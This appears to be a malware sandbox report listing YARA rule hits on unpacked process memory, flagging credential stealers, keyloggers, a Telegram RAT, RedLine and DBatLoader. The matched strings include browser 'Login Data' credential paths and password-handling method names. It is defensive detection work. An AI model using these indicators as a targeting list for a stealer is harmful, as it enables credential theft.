19.2.jphwmyiA.pif.225499de.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x48a6e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48111:$a3: \Google\Chrome\User Data\Default\Login Data 0x4836e:$a4: \Orbitum\User Data\Default\Login Data 0x48d4d:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.225499de.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3b512:$s1: UnHook 0x3b4ae:$s2: SetHook 0x3b4e7:$s3: CallNextHook 0x3b476:$s4: _hook
10.2.jphwmyiA.pif.23600000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.23600000.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.23600000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.23600000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.23600000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d96a:$a1: get_encryptedPassword 0x3d93e:$a2: get_encryptedUsername 0x3da02:$a3: get_timePasswordChanged 0x3d91a:$a4: get_passwordField 0x3d980:$a5: set_encryptedPassword 0x3d74d:$a7: get_logins 0x38d9a:$a10: KeyLoggerEventArgs 0x38d69:$a11: KeyLoggerEventArgsEventHandler 0x3d821:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23600000.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x48a6e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48111:$a3: \Google\Chrome\User Data\Default\Login Data 0x4836e:$a4: \Orbitum\User Data\Default\Login Data 0x48d4d:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.23600000.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3b512:$s1: UnHook 0x3b4ae:$s2: SetHook 0x3b4e7:$s3: CallNextHook 0x3b476:$s4: _hook
19.2.jphwmyiA.pif.22770000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.22770000.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.22770000.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.22770000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.23660000.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.23660000.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.jphwmyiA.pif.23660000.6.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.23660000.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.23660000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.23660000.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23660000.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.23660000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.Aiymwhpj.PIF.211f67a8.7.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x38cb0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x39330:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.1e710ee8.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.jphwmyiA.pif.1e710ee8.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
15.2.jphwmyiA.pif.1e710ee8.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
15.2.jphwmyiA.pif.1e710ee8.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.24c70000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.24c70000.6.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.24c70000.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.24c70000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.24c70000.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
19.2.jphwmyiA.pif.24c70000.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.24c70000.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
19.1.jphwmyiA.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.jphwmyiA.pif.23600000.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.2254a8c6.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3ca82:$a1: get_encryptedPassword 0x3ca56:$a2: get_encryptedUsername 0x3cb1a:$a3: get_timePasswordChanged 0x3ca32:$a4: get_passwordField 0x3ca98:$a5: set_encryptedPassword 0x3c865:$a7: get_logins 0x37eb2:$a10: KeyLoggerEventArgs 0x37e81:$a11: KeyLoggerEventArgsEventHandler 0x3c939:$a13: _encryptedPassword
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.225499de.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.225499de.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.jphwmyiA.pif.225499de.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.225499de.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.225499de.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1ed60000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.brightness.exe.215f2418.10.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x84c10:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x67be0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x68260:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x868ea:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x86530:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x859e8:$s6: constructor or from DllMain.
10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
10.2.jphwmyiA.pif.23600000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
15.2.jphwmyiA.pif.1be499de.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.23660000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.jphwmyiA.pif.23660000.6.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.jphwmyiA.pif.23660000.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.jphwmyiA.pif.23660000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
7.2.brightness.exe.27b0000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
7.2.brightness.exe.21659f78.11.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
19.2.jphwmyiA.pif.22770000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d96a:$a1: get_encryptedPassword 0x3d93e:$a2: get_encryptedUsername 0x3da02:$a3: get_timePasswordChanged 0x3d91a:$a4: get_passwordField 0x3d980:$a5: set_encryptedPassword 0x3d74d:$a7: get_logins 0x38d9a:$a10: KeyLoggerEventArgs 0x38d69:$a11: KeyLoggerEventArgsEventHandler 0x3d821:$a13: _encryptedPassword
19.2.jphwmyiA.pif.22770000.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x48a6e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48111:$a3: \Google\Chrome\User Data\Default\Login Data 0x4836e:$a4: \Orbitum\User Data\Default\Login Data 0x48d4d:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.225499de.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
19.2.jphwmyiA.pif.225499de.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.225499de.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
10.2.jphwmyiA.pif.20d899de.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
10.3.jphwmyiA.pif.1f2f18e0.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
19.2.jphwmyiA.pif.22770000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.jphwmyiA.pif.22770000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.jphwmyiA.pif.22770000.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
19.2.jphwmyiA.pif.22770000.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
19.2.jphwmyiA.pif.22770000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
19.2.jphwmyiA.pif.22770000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
15.1.jphwmyiA.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
